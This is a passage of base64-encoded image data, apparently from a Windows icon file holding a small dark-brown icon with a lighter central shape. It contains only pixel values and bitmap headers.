JrU0JB3vNCQd/zcnIP84KCH/OCgh/zgoIf82Jh//NCQd7T4uJ7FHNzBNeWliA////wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8BXk1HA2hYUR8+LidtOSki0zQkHfs3JyD/Nycg/zUlHvs1JR7NPy8oaXNjXB1uXlYD////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wFVRT4HVEQ9NUExKpU2Jh/ZNycg2Uc3MJFIODExSDcxB/// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BAAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA - AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA - //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA - AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA - //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAA - AAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//AAAAAAAA - //8AAAAAAAD//wAAAAAAAP//AAAAAAAA//8AAAAAAAD//wAAAAAAAP//KAAAAEAAAACAAAAAAQAgAAAA - AAAAQgAAAAAAAAAAAAAAAAAAAAAAAP///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BRTUuJ0w8NX8+LifRQjIrzVFBOndgUEkf////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wFuXlcRZ1dQazgoIeMxIRr/NSUe/zUlHv8vHxj/RTUu21xM - RV1WRj8H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVxMRQdENC1LRDQtxTIiG/8yIhv/OSki/zkp - Iv84KCH/OCgh/zAgGf8xIRr5RTUutUg4MUd7a2QF////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AWdXUD1HNzCnOCgh8zIi - G/82Jh//Oioj/zkpIv85KSL/Nycg/zgoIf86KiP/OCgh/zQkHf83JyDvXExFm04+NzH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BY1NMI009 - NoNBMSrjMCAZ/zUlHv85KSL/Oioj/zkpIv86KiP/NSUe/zYmH/84KCH/OSki/zgoIf83JyD/MyMc/y8f - GP88LCXZTj43gXFhWiH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wFuXlcNa1tUaz8vKM8yIhv/MCAZ/zkpIv83JyD/OCgh/zkpIv85KSL/OCgh/0AwKf85KSL/Nycg/zcn - IP83JyD/Nycg/zgoIf83JyD/NCQd/zMjHP9GNi/LZlZPW08/OAX///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AWJSSwNeTkdDQjIrvTQkHf8yIhv/Nycg/zoqI/85KSL/OSki/zgoIf85KSL/Oioj/zAg - Gf9gUEn/TT02/zEhGv85KSL/OCgh/zgoIf83JyD/OSki/zgoIf82Jh//MiIb/zEhGvtENC23aFhRPf// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////AVJCOyNSQjuhOioj8zMjHP82Jh//OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OCgh/zkpIv8nFxD/f25n/3BgWf8pGRL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv83JyD/NCQd/zgoIfFZSUKXY1NMGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8BdmZfF1FBOn04KCHhLx8Y/zcnIP85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf87KyT/IhIL/5KCe/+GdW7/IxMM/zoqI/85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv81JR7/LBwV/zkpItlhUUpxalpTD////wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFLOzQLVkY/XUg4Mc0zIxz/NCQd/zgo - If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oysk/x0MBf+glI7/l4iB/x8P - CP86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/zoqI/8zIxz/MyMc/z0t - Jr1ENC1JYFBJC////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AYBwaQVeTkc/RDQtqy0d - FvswIBn/Nycg/zkpIv84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkq - I/8bCQH/tq6r/6qdmP8ZCAH/Oysk/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgo - If85KSL/OSki/zYmH/8xIRr/NSUe+VFBOqFnV1A3QDApA////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhI - QSVdTUaJPCwl7zIiG/83JyD/Oioj/zkpIv85KSL/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zgoIf81Jh//JBIK/8zFwv+tpqT/FwUA/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv84KCH/OSki/zgoIf85KSL/Oioj/zYmH/8yIhv/PCwl6zsrJH1TQzwd////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8Bf29oFUk5MnE3JyDZLBwV/zMjHP85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/MCEa/y4cFP/h29j/vri2/yEPBv82JyD/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OSki/zIi - G/8yIhv/PS0m01ZGP21oWFEP////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8BVEM8U0o6M8szIxz7MyMc/zcnIP86KiP/OCgh/zgoIf85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OCgh/ysbFP86Jx//7urn/9LL - x/8vHBP/MSEb/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv86KiP/OCgh/zIiG/83JyD5Pi4nvU8/OEv///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wFcTEUvRzcwqTEhGvEwIBn/NiYf/zkpIv85KSL/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zoq - I/8oFg//QzQu//Hw7//m39v/Oicf/y0dFf86KiT/OSki/zgoIf84KCH/OSki/zkpIv84KCH/OCgh/zkp - Iv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NCQd/zIiG/84KCHvSTkyoUU1 - Lif///8B////Af///wH///8B////Af///wH///8B////AbKimweGdm9HMiIb3y8fGP82Jh//OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf83JyD/OCgh/zkpIv84KCH/Nycg/zUlHv80JBz/MiIb/zEh - Gv8vHhf/KxoT/ycXD/8pFxD/CgEA/1BDPv/29PP/8e/u/zkpJP8TAwH/KhkR/ywbFP8wHxj/MiEa/zQk - HP81JR3/NiYf/zgoIf85KSL/OCgi/zgoIf83JyD/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OCgh/y0dFv8/LyjVZlZPN1lKQwX///8B////Af///wH///8B////Af///wF/b2hZSzs0uyYW - D/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zMjHP8xIRr/LR0V/yYV - Df8kEQr/Lx4W/z4sJP9HNy//VUdA/2lcVv93aWP/gHFs/4R3cv+2qqT//Pv7//n49/+cjon/dWdi/3lt - aP9mWVP/UkQ+/0g3MP8+LCX/Lh0V/ycWD/8rGxP/Lh4Y/zEhGv80JB3/OCgh/zkpIv86KiP/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf85KSL/Lh4X/zwsJbFWRj9H////Af///wH///8B////Af// - /wH///8BVUU+pT4uJ+sxIRr/OSki/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/zsrJP81JR7/LBsU/yQT - DP8lEwv/NCMb/1NDPf+Bcmz/nZOP/8K9uv/u5uT///38///////6+fj/8fDw/+zr6v/k4d//9PPz//// - /////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX - EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// - /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk - Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL - RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 - t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq - I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp - Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV - DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ - Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq - I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v - KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR - Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex - Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 - sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// - /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av - KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 - +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn - IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e - V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// - //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX - EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp - Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp - Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c - Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb - FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N - Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa - E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND - PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi - G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ - d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp - Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// - /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp - Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 - bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d - Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 - L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl - Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS - yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P - iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 - dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn - IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 - tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ - wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo - If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// - /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT - jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// - //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 - bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// - /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs - Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// - /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 - sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d - Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp - Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f - GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX - kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh - Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh - Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK - w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// - //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg - Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// - /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d - Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// - ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 - tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// - /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV - Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ - /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P - CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq - I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp - Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER - Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 - sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo - If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v - KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N - xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// - ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e - F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// - /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d - Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// - /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t - pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e - V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp - Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL - xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ - yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ - eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa - E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND - PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm - H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// - /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi - G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// - /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp - ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo - If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 - L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo - If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo - If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq - I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp - Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss - JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// - /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq - Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// - //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// - ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// - /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq - I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e - F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d - Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp - Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp - Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp - Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp - Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi - G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// - //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq - I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH - BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// - /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF - Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv - 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV - Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// - /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp - 